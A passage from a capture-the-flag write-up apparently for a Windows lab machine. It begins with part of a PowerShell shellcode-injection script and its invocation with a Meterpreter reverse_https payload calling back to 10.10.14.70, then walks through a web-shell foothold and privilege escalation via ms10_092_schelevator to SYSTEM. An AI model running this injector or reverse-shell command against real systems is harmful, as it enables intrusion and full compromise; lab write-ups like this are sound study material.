$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)

Write-Verbose “Injecting shellcode into PID: $ProcessId”

if ( $Force -or $psCmdlet.ShouldContinue( ‘Do you wish to carry out your evil plans?’,
“Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!” ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

Write-Verbose “Injecting shellcode into PowerShell”

if ( $Force -or $psCmdlet.ShouldContinue( ‘Do you wish to carry out your evil plans?’,
“Injecting shellcode into the running PowerShell process!” ) )
{
Inject-LocalShellcode
}
}

}
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.10.14.70 -Lport 443 -Force

We see the above is a powershell script to get reverse meterpreter , so now we open msfconsole and set up a listener

msfconsole

All set , we now run the “exploit” command , and then will copy the cmd command which we got after running the powershell.sh script , paste it run on web shell

cmd command to copy
Pasting the cmd command on the web shell\
Listener

Boom , we got meterpreter shell , now lets move further to get the user flag

Here we got the user flag which was located in “C:\Users\merlin\Desktop”

user.txt

Now we move for privelege escalation part

As we have meterpreter suggest , we will use a Post Exploitation recon module on msfconsole which is post/multi/recon/local_exploit_suggester

post/multi/recon/local_exploit_suggester

So here we get so many exploits which appears to be vulnerable to this , also to remember that we have x86 meterpreter session on x64 machine , if these exploits doesnt work then we will migrate our meterpreter session to x64 meterpreter (which for sure is not going to work , so skipping that part)

As the exploits didnt work , so we migrate our session to x64 meterpreter

Migrating the session to 64 bit

Now we again run the exploit suggest now on x64 meterpreter , also confirm that we are x64 meterpreter now

Running suggester for x64 bit system

We got only 2 exploits , lets try them

Exploit Successful

I tried the first one which is windows/local/ms10_092_schelevator and it worked and we got another meterpreter session , lets confirm whether we have admin priveleges or not by running the “sysinfo” and “getuid” command

NT AUTHORITY\SYSTEM

Boom , we got NT AUTHORITY\SYSTEM which means we have admin privileges

This machine didnt had tough privlege escalation , now lets move on to get root flag.

The root flag is located in “C:\Users\Administrator\Desktop”

root.txt

So here the box is finished

File Upload → Low Priveleges

windows/local/ms10_092_schelevator from metasploit → Admin Priveleges

This box was really hard for me to solve , also I was hard time writing writing for this box too.

Hacker | Bug Hunter | Python Coder | Gamer | Reverse Engineering Lover

Hacker | Bug Hunter | Python Coder | Gamer | Reverse Engineering Lover